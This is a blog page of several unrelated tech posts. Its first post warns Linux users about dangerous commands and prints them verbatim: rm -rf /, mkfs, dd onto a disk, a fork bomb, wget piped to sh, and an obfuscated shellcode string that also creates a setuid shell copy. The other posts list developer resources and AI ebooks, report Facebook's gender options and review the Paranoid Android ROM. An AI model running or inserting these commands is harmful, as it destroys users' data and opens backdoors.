Saturday, 15 February 2014

Some Malicious Linux Commands You Should Be Aware Of ...!!!

Malicious, Linux Commands, linux, screensaver, commands, LiveCD, delete visible files, . rm, Decompression bombs, Tarbomb, malicious Linux commandsLinux commands can be risky for the health of your computer and data. Do believe it? We are listing some of them for you here... 

For Linux users, it is important to have some basic understanding about malicious commands that can make your life difficult if executed. You need to cautious while running one of these commands. It is also important to always enable a screensaver allocating a password so that a casual passerby cannot maliciously apply one of these commands from your keyboard when you are not on your pc.
Listed below are some common examples of risky linux commands. Remember, they are extremely dangerous and thus should not be tried on any pc with a valuable data. Most of these commands can cause you damage from a LiveCD environment as well.

Delete all files, delete current directory, or delete visible files in current directory

. rm means remove, -f indicates "force" deletion (even if write protected), and -r means do it recursively, i.e. all subfolders. Therefore, " rm -rf / " indicate a force removal of everything in the root directory as well as all subfolders. " rm -rf . " means to force deletion of the existing directory and all subfolders. " rm -rf * " means to force deletion of all files in the existing folder and all subfolders.
rm -rf /
rm -rf .
rm -rf *

Reformat Data on device

Whatever comes after the mkfs command will be damaged and replaced with a blank filesystem.
mkfs
mkfs.ext3
mkfs.anything
Block device manipulation
These commands are used to write raw data on a block device. Often this will hit the filesystem and cause complete loss of data:
any_command > /dev/sda
dd if=something of=/dev/sda

Forkbomb

Though they look quite fascinating, these commands implement enormous processes until the system freezes, which may force a hard reset of the pc. This may cause data corruption or operating system damage).
• In Bourne-ish shells (like Bash):
:(){:|:&};:
• In Perl
fork while fork

Tarbomb

Someone asks you to get a tar archive into the current directory, which can be crafted to burst out a million files, or inject files into the system by deducing filenames. It’s highly recommended that you decompress tar archives to a clean directory. Only after determining that the extracted files are what was expected should the extracted files be copied to the final target directory.

Decompression bombs

Someone asks you to extract an archive that looks like a small download. Actually, it’s highly compressed data that will blow up to hundreds of GB's, filling your hard drive. Avoid downloading and extracting any data, utility, or software from an unreliable source.

Malicious code in Shell scripts

You get a source from someone for a shell script (which is executable from the command line interface using script execution command ./ ) You are told that recommends that to download and execute it. The script might have any command benign or malevolent. Never execute code from unreliable .For example:
wget http://some_place/some_file
sh ./some_file
or
wget http://some_place/some_file -O- | sh

Malicious source code to be compiled then executed

You get a source code from someone and are asked to compile it. Do you know it’s easy to hide malicious code as a part of a large pile of source code? Avoid compiling or executing the resulting compiled code unless it is from some trustworthy application received from a reputable site. For example, in the downloaded code, was this malicious payload:
char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";
Which looks like the "hex code gibberish stuff" to the new or even a somewhat experienced computer user, However, it actually runs
rm -rf ~ / &
which eventually destroys your home directory as a regular user, and all your files if you are logged in as root.


Author : Shivam Kotwalia, CodeKill

22 Resources For The Software Developer In You

software developer, best developer resources, resources for software developers, top resources for software developers, best software development tips, tools for software developers, best software development tools, software newsWant to be a software developer? There's more to it than you think. But we'll make the task a tad easier! 

Being a software developer is no easy mission. There are tons of things to take care of. You have to concentrate on the idea for your app, make sure the source code is current, choose the right platforms, know about the various tools required and then make an app that the public wants to use. Here we try to take off some of that pressure from your shoulders by providing you with these resources that you can use to build the perfect app!
Cheatsheets: A software developer doesn't need to be told what the importance of a cheatsheet is. These little lists can often save you tons of time and make your life much easier. So what are you waiting for, print them out and pin them to your work boards!

1. C++ Reference Sheet

2. Java Reference Sheet

3. Visual Basic 6 Reference Sheet

4. VB.NET Basics Reference Sheet

5. C# Basics Reference Sheet

6. PHP Basics Reference Sheet

7. Advanced PHP Reference Sheet

8. ColdFusion Reference Sheet

Forums and social media: You're wondering why you would need social media to be a successful software developer right? Truth is that only the developers who have truly embraced the power of social media will be able to explain this properly. Still, we'll take a shot at it.

What social media and forums do for you is open up an entire world of like minded people. Not only are you amongst programmers and other developers, you can ask questions, clear your doubts and even learn about new and improved techniques that would assisst you in building your own applications.

1. Stack Overflow

2. Good-Tutorials

3. Dzone

4. Toolbox for IT/a>

5.
TopCoder

6. YCombinator

7. Reddit: Programming

Web Tools: When we say web tools, we simply mean resources on the web that you can use as tools. For example, GitHub is the largest tool for collborative software development.

1. GitHub

2. Yahoo Pipes

3. Launchpad

Firefox Add-ons: What's that? Why Firefox add-ons you ask? Well duh! Because that's the browser most developers choose to develop their apps in. You can choose any browser for your work though.

1. Firebug

2. Web Developer

3. Bespin

4. Greasemonkey

Author : Shivam Kotwalia, CodeKill

25 Free eBooks On Artificial Intelligence

We bring 25 free books on AI for all those who want to learn about this super awesome fork of computer science! Get set to create your own humanoids! 

free ebooks, Artificial Intelligence, free books on Artificial Intelligence, Artificial Intelligence reference, learn Artificial Intelligence onlineArtificial intelligence (AI) is technology and a branch of computer science that studies and develops intelligent machines and software. It lets an intelligent agent i.e. a system that perceives its environment and takes actions accordingly. John McCarthy, who coined the term in 1955, defines it as "the science and engineering of making intelligent machines".

From your iPhone's Siri to all the smart robots and humanoids today are powered by artificial intelligence. So if you are a student or planning to jump into this highly technical and specialised field, we bring for you 25 free books on artificial intelligence. Read online, download and have fun!


1. Computers and Thought: A practical Introduction to Artificial Intelligence by Mike Sharples, et al. - A Bradford Book, 1989

The aim of this book is to introduce people with little or no computing background to artificial intelligence (AI) and cognitive science. It emphasizes the psychological, social, and philosophical implications of artificial intelligence.

2. Design: Creation of Artifacts in Society by Karl T. Ulrich - University of Pennsylvania, 2011

Design is conceiving and giving form to artifacts that solve problems. This book shows how you can use artifact in a broad sense to describe any product of intentional creation, including physical goods, services, software, graphics, buildings, landscapes, and processes.

3. The World and Mind of Computation and Complexity by Gregg Schaffter - Smashwords, 2013

With the increase in development of technology, there is research of human-like artificial intelligence that can be self-aware and act just like humans. This book explores how we may be close to developing a true artificially intelligent being.

4. Virtual Reality: Human Computer Interaction by Xin-Xing Tang (ed.) - InTech, 2012

Virtual reality has impact on information organization and management and even changes design principle of information systems, which will make it adapt to application requirements. The book aims to provide a broader perspective of virtual reality.

5. The Age of Intelligent Machines by Ray Kurzweil - The MIT Press, 1992

Visionary computer scientist Raymond Kurzweil probes the past, present, and future of artificial intelligence, from its earliest philosophical and mathematical roots to tantalizing glimpses of 21st-century machines with superior intelligence.

6. Artificial Intelligence: Foundations of Computational Agents by David Poole, Alan Mackworth - Cambridge University Press, 2010

A book about the science of artificial intelligence, it presents AI as the study of the design of intelligent computational agents. The book is structured as a textbook, but it is accessible to a wide audience of professionals and researchers.

7. Mathematical Linguistics by Andras Kornai - Springer, 2010

The book introduces the mathematical foundations of linguistics to computer scientists, engineers, and mathematicians. The book presents linguistics as a cumulative body of knowledge from the ground up: no prior knowledge of linguistics is assumed.

8. Fault Detection by Wei Zhang - InTech, 2010

Fault diagnosis technology is a synthetic technology, which relates to several subjects: modern control theory, reliability theory, mathematical statistics, fussy set theory, information handling, pattern recognition and artificial intelligence.

9. Multiagent Systems: Algorithmic, Game-Theoretic, and Logical Foundations by Yoav Shoham, Kevin Leyton-Brown - Cambridge University Press, 2008

Multiagent systems consist of multiple autonomous entities having different information and diverging interests. This comprehensive introduction to the field offers a computer science perspective, but also draws on ideas from game theory.

10. Ambient Intelligence by Felix Jesus Villanueva Molina - InTech, 2010

In this book, we analyse a selection of open problems which we consider the key ones in order to let ambient intelligence become a reality. This book provides the reader with a good idea about the current research lines in ambient intelligence.

11. Self-Organizing Maps by George K Matsopoulos - InTech, 2010

Contents: Learning the Number of Clusters in Self Organizing Map; Neural-Network Enhanced Visualization of High-Dimensional Data; SOM-based Applications in Remote Sensing; Segmentation of Satellite Images Using SOM; Face Recognition Using SOM; etc.

12. Autonomous Agents by Vedran Kordic - InTech, 2010

The field of multi agent systems investigates the process underlying distributed problem solving and designs some protocols and mechanisms involved in this process. This book presents an overview of the research issues in the field of multi agents.

13. Artificial Intelligence - Agents and Environments by William John Teahan - BookBoon, 2010

This book is the first in a series on Artificial Intelligence. It provides an introduction to the topic with an emphasis on the use of agent-oriented design. Topics include agents, environments, agent movement, and agent embodiment.

14. Artificial Intelligence - Agent Behaviour by William John Teahan - BookBoon, 2010

This book adopts a behaviour-based approach to the design of agent-oriented systems. The topics covered from a behaviour-based perspective include agent communication, searching, knowledge and reasoning, and intelligence.

15. The Quest for Artificial Intelligence by Nils J. Nilsson - Cambridge University Press, 2009

Artificial intelligence is a field within computer science that is attempting to build enhanced intelligence into computer systems. This book traces the history of the subject, from the eighteenth-century pioneers to the work of today-s AI engineers.

16. Computational Intelligence and Modern Heuristics by Al-Dahoud Ali - InTech, 2010

This book will take its readers on a stunning voyage of computational intelligence heuristics research and applications. Computational intelligence techniques are covered, ranging from neural networks, fuzzy logic, genetic algorithms, etc.

17. Artificial Intelligence through Prolog by Neil C. Rowe - Prentice-Hall, 1988

Artificial intelligence is a hard subject to learn. The author have written a book to make it easier. He explains difficult concepts in a simple, concrete way. This book is intended for all first courses in artificial intelligence.

18. Foundations of Constraint Satisfaction by Edward Tsang - Academic Press, 1993

This book was the first attempt to define the field of constraint satisfaction. It covers both the theoretical and the implementation aspects of the subject. It provides a framework for studying this field and relates different research.

19. Swarm Intelligence: Focus on Ant and Particle Swarm Optimization by Felix T.S. Chan, Manoj K. Tiwari - InTech, 2007

Motivated by the capability of the biologically inspired algorithms, the book aims to present recent developments in optimization with swarm intelligence techniques. The book also presents some selected representative case studies.

20. Encyclopedia of Computational Intelligence by Eugene M. Izhikevich, at al. - Scholarpedia, 2009

Encyclopedia of Computational Intelligence covers neural networks, evolutionary computation, robotics, machine learning and pattern recognition, graphs and complexity, artificial intelligence, information theory, fuzzy systems, signal analysis, etc.

21. The Boundaries of Humanity: Humans, Animals, Machines by J. Sheehan, M. Sosna - University of California Press, 1991

To the age-old debate over what it means to be human, the relatively new fields of sociobiology and artificial intelligence bring new insights. What have these two fields in common? Have they affected the way we define humanity?

22. Affective Computing by Jimmy Or - IN-TECH, 2008

An overview of state of the art research in Affective Computing. It presents new ideas, original results and practical experiences in this increasingly important research field. The book consists of 23 chapters categorized into four sections.

23. Artificial Intelligence and Responsive Optimization by M. Khoshnevisan, S. Bhattacharya, F. Smarandache - Xiquan, 2003

The purpose of this book is to apply the Artificial Intelligence and control systems to different real models. The text is designed for graduate students and researchers who are active in the applications of AI and Control Systems in modeling.

24. Artificial Intelligence and Molecular Biology by Lawrence Hunter - AAAI Press, 1993

A current sampling of AI approaches to problems of biological significance. The text covers genetic sequence analysis, protein structure representation and prediction, automated data analysis aids, and simulation of biological systems.

25. Brief Introduction to Educational Implications of Artificial Intelligence by David Moursund - University of Oregon, 2006

This book is designed to help teachers learn about the educational implications of current uses of Artificial Intelligence as an aid to solving problems and accomplishing tasks. The text is designed for self-study or for use in workshops. 


Author : Shivam Kotwalia, CodeKill

Beyond male and female with over 50 new gender options

A glimpse of some of the new options for gender on Facebook

For the first time, Facebook is letting users of its online social network identify themselves as a gender other than male and female. The basic user profile for members in the United States now includes a customizable category among the gender types that users must select, the world’s No 1 Internet social network announced on Wednesday, the day the feature became available for US members using the site’s English-language version.
Those who select that option can select up to 10 gender identifications, including “transgender,” “intersex” and “fluid.” The company said it worked with a leading group of gay and transgender advocacy organizations to come up with the selection of identity options. In all, the website is offering about 50 different terms people can use to identify their gender as well as three preferred pronoun choices: him, her or them
Until now, Facebook’s 1.23 billion members could only select male or female for their genders, which Facebook requires users to state in their profiles. Users of rival Google Inc’s Google+ social network already had an “other” option for gender.
Facebook said users also can control the audience who can view a custom choice, noting the challenges that some people may face in publicly sharing their gender identity. Users can also choose the personal pronoun to which they are referred publicly. A message on Facebook might now invite a user’s friend to write a birthday message on “their” wall, instead of “his” or “her” wall.
“We want you to feel comfortable being your true, authentic self,” Facebook said.

Author : Shivam Kotwalia, CodeKill

Pep Up Your Device with Paranoid Android

Paranoid Android is one of those rare innovations to have come out of open source software that thoroughly reinvents the way software is designed. With features like Hybrid UI, Pie Controls and the recently released HALO multitasking interface, this custom ROM for Android can reinvent your Android device like never before.




When asked about the leading Android custom ROM, the first name that comes to mind is undoubtedly Cyanogen Mod. The kind of features that it brings to the table, along with its rapid development and updates that are available almost instantly, make it the only custom ROM that most people use. But there are just a few that can match Paranoid Android for innovative design and unique features. Though not available for every Android device in the market, it is one of the few powerful Android ROMs that takes customisation to a whole new level. While Cyanogen Mod focuses on improving the overall experience and adding useful features to the stock Android interface, Paranoid Android focuses on bringing out features like the Tablet and Phablet UI on the smartphone, Per App DPI and the revolutionary HALO interface. The hybrid engine, which forms the heart of this ROM, attracts enthusiasts and developers alike. However, the best part is that it is open source and quite a few features are shared between the developers of these ROMs. This product of open source development can be shown off as an example of the freedom that the Android eco-system provides.

pasettingspiecontrols-ex


































































































As mentioned earlier, quite a few features have been adopted from other sources or are restructured third party apps. This allows developers to advance things that are already popular and avoid re-inventing the wheel. For instance, take Pie Controls, which has now been included in Cyanogen Mod as well. This was originally developed by the Paranoid Android team and was in turn inspired from a somewhat similar feature in the stock Android browser. The new HALO notification system is borrowed from Facebook Messenger’s Chat Head feature. This shows how open source makes the environment conducive to further development. Actually, before the Paranoid Android 3+ release, it was directly based on Cyanogen Mod sources and only after Android 4.2 was released, was it rebased to develop its own code on top of AOSP. Since then it has been referred to as AOSPA.
Installation
Installation is like that of any other ROM. If you are not familiar with rooting or customising your phone, you should probably go ahead and read up the innumerable tutorials available online. The process is highly device dependent, and it is not possible to describe the detailed steps. Overall, it just includes flashing a custom recovery, doing a factory reset, installing the latest zip along with the Google Apps package and, finally, a full wipe of the cache and dalvik cache. In case you are not sure how to go through these steps, there are You Tube videos aplenty that demonstrate them. Once you are done with the set-up, you can go through the usual set-up wizard and tutorial on how to use the different features.

Hybrid UI
This is one of the features that very few ROMs provide out-of-the-box. The Hybrid Engine and the customisability it provides would be ideal for large screen phablet devices like the Samsung Galaxy Note series, provided they are officially supported, as the Nexus devices are. The Per App DPI feature allows you to choose between the tablet and phone interface for an app. It needs to be used with caution, taking extra care that you do not set everything to be so small that you cannot see anything or it strains your eyes. Per App Colour, on the other hand, is a fancy feature that changes the colour of the status bar, according to the app displayed in the foreground.



haloapp




































While you might be able to configure something similar to this on any other ROM, Paranoid Android lets you do it in style, complete with customised preferences and detailed settings that are available in the Paranoid Android Preferences App, which can be accessed as ‘Hybrid Properties’ from the ‘Settings’ screen. One can choose from the Stock UI, Phablet UI and the various Tablet UIs from the main screen (Figure 1). Further settings can be accessed from the menu by swiping left on this screen. The interface menu, for example, takes you to a screen that allows you to change the size and colour of various screen elements like the navigation bar and status bar (Figure 2). The ‘Apps’ screen, on the other hand, provides similar options for individual apps, even allowing you to choose which apps need to be opened in expanded desktop mode, and letting you choose the pixel density and status bar colour for each app (Figure 3). 


toolbarmenu


Pie Controls
The Pie Controls feature is an innovative way of navigating the Android interface, and is meant to replace the on-screen navigation buttons that come with most devices like those in Nexus phones and tablets. While it might be redundant on devices with hardware buttons, it still is beautiful enough for everyone to give it a try. The ROM allows users to customise various options related to the trigger area, alignment, speed, size, etc. These configuration options related to Pie can be changed from the ‘Toolbars’ menu in the ‘Settings’ screen (Figure 5). This same menu also allows changing options related to the HALO interface. The Pie Controls can look particularly beautiful when opened in the ‘Extended desktop’ mode. This mode replaces the status bar, to move all the details that it provides onto the screen when the Pie Controls feature is triggered. The way its fan-out transition has grown to be more and more fluid over the years, is the result of the hard work put in by the developers who have re-written its code base to ensure that there are no hiccups whatsoever.

Personally, I prefer to configure Pie on the right edge of the screen, where it feels more natural to right-handed users like me and can be triggered effortlessly with the thumb. This provides for much more natural, fluid and effortless navigation. While the direction for each action might take some getting used to, once you do get accustomed to it, this looks much cooler to show off and obviously saves screen space.
HALO multi-tasking
HALO is a recently released feature by the Paranoid Android team, and is possibly one of the biggest developments in AOSP-based ROMs till date. It brings forward the possibilities for true multi-tasking applications with floating windows, to avoid having to completely switch to an application that takes up the whole screen. It also incorporates one of the few innovative features of the Facebook Messenger app, and extends it to implement a similar chat head like a notification system for every notification in Android. A small bubble pops up whenever there is a new notification from any user or system app. What’s more, in conjunction with the expanded desktop mode, it may be used to completely replace the notification drawer. Whenever a notification pops up for a particular app, and the user clicks on this bubble to access that notification, the app opens up in its own overlay window, instead of replacing the current app. This is ideal when you need to perform a quick task that breaks the workflow of what you were previously doing. Need to take a quick look at that new email? Just click on the bubble and you can do so easily without having to navigate away from the previous app.

This feature is expected to see more active development in the coming months. If, however, you are not a fan of that ever-present bubble lurking in the corner of your screen, you can set it to disappear unless there is a new notification for you. On the other hand, if you like to use its functionality even more, you can pin multiple apps to it with the help of the ‘HALO’ companion app (Figure 7). These apps can then be accessed with the help of the click-and-drag gesture to select the appropriate app. A blacklist or whitelist limits the number of apps that are allowed to display notifications from the HALO interface.
While these are certainly not all the features of Paranoid Android, they are what stand out. If you feel like supporting the developers of this ROM, go ahead and buy the Paranoid Android Preferences app from the Play Store, which provides some additional preferences and access to some cutting-edge beta features that the developers might release from time to time.
Android custom ROMs let you choose what you want and customise it even further in the way that you will never be able to in the stock ROMs provided by the manufacturers. One thing that needs to be kept in mind, though, is that if you break something, repairs can be costly and support is scarce, i.e., restricted to online forums. One needs to be aware of all the risks, and most importantly, take backups before trying out anything. This becomes all the more important, considering that you will be evaluating more frequent updates and, often, it will turn out that you are not satisfied with a feature that is still under development.


halopopup
























































Author : Shivam Kotwalia, CodeKill

Labels

Tutorial (129) Tech News (83) E-Books (55) Pdf (47) Hacking (46) Linux (32) Android (23) Programming (22) Tools (22) Video (21) Ethical Hacking (16) Electronics (12) Google (10) Hacked (9) Python (9) Facebook (8) Java (8) Software (8) PHP (7) Android App (6) C (6) Free Online Coureses (6) OpenSource (6) Ubuntu (6) Unix (6) Windows (6) C++ (5) Game Programming (5) Java Programming (5) Kali Linux (5) CodeKill (4) Cryptography (4) Firefox (4) JavaScript (4) Linux System Administrator (4) Mac (4) Penetration testing (4) Python Programming (4) Security (4) Top Distros (4) WhatsApp (4) CSS (3) Circuit (3) Cloud Computing (3) Game Devlopment (3) Hacking Tools (3) Malware (3) MicroController (3) Microsoft (3) Networking Tool (3) Perl (3) Source Code (3) WebSite (3) Windows 8.1 (3) C Programming (2) C Series (2) C# (2) CheetSheet (2) Computer (2) Computer Networking (2) Data Storage (2) Dual Boot (2) Eclipse (2) Edward Snowden (2) Exploit (2) Facts (2) Games On Linux (2) Google Chrome (2) HTML5 (2) Hacking Challenges (2) IDE's (2) Information Security (2) Lenovo (2) Linux Kernel (2) Malicious (2) Mobile (2) Motorola (2) Mozilla (2) MySQL (2) NoSQL (2) Raspberry Pi (2) Ruby (2) Security Tools (2) Syrian Electronic Army (2) Tricks and Tips (2) Valentine Day (2) Web Design (2) iOS (2) iPhone (2) jQwery (2) *nix (1) 2014 (1) 3D Modeling (1) Algorithm (1) Android Hacking (1) Android Pattern Lock Screen.. (1) Anonymous Mail (1) Anti-Spam (1) Apps (1) Arduino (1) Artificial Intelligance (1) Audio Software (1) BSD (1) BeAWARE (1) Bitcoin (1) Black Hat Hackers (1) BlackBerry (1) Buffer Overflow (1) C++ vs Java (1) CISO (1) Circuit Analysis (1) Circuit Design (1) Circuit Programming (1) Circuit Simulators (1) Codes (1) Crptology (1) Cryptanalysis (1) DDOS (1) Devlopers (1) Drupal (1) DuckDuckGo Search Engine (1) E-Card (1) E-Mails (1) Embedded System (1) Encryption Tools (1) Error (1) FTP (1) Famous Passwords (1) FileZilla (1) Flipkart (1) Forbes (1) Forgot Password (1) GCHQ (1) Genders (1) Gmail (1) Google Tricks and Trips (1) HTML (1) Hacking Distro (1) Hard Disk (1) Hash Encryption (1) Illegal (1) Internet (1) LAMP (1) Language Theory (1) LibreOffice (1) Linus Trovalds (1) Logic Gates (1) MATLAB (1) MOSFET (1) Mail (1) Mark Zuckerberg (1) Mathematical (1) MicroProcessor (1) Mind Mapping Tools (1) Myntra (1) NoSQL Database (1) Nobal Prize (1) Nokia (1) Object Oriented Programming (1) Office (1) Oldboot (1) Online (1) Paranoid Android (1) Passwords (1) Passwords Cracking Tools (1) PayPal (1) Perl Programming (1) Plugins (1) Prolog Programming (1) Python Basics (1) Remote (1) SEA (1) SQL Injection (1) Sans (1) Screencasts (1) Screenloggers (1) Server Load (1) Servers (1) Shell (1) Software Design (1) Software Developer (1) Software Testing (1) Sony (1) Spider.io (1) Statistical (1) Steve Jobs (1) TCP/IP (1) Timeline (1) Tor (1) Trojan (1) Ubuntu Phones (1) VAIO (1) Virus (1) Web Designers (1) Wi-Fi Hacking (1) Windows Tools (1) Windows XP (1) WordPress (1) XML (1) Yahoo (1) YouTube (1) cpp (1) eBay (1) iBanking (1)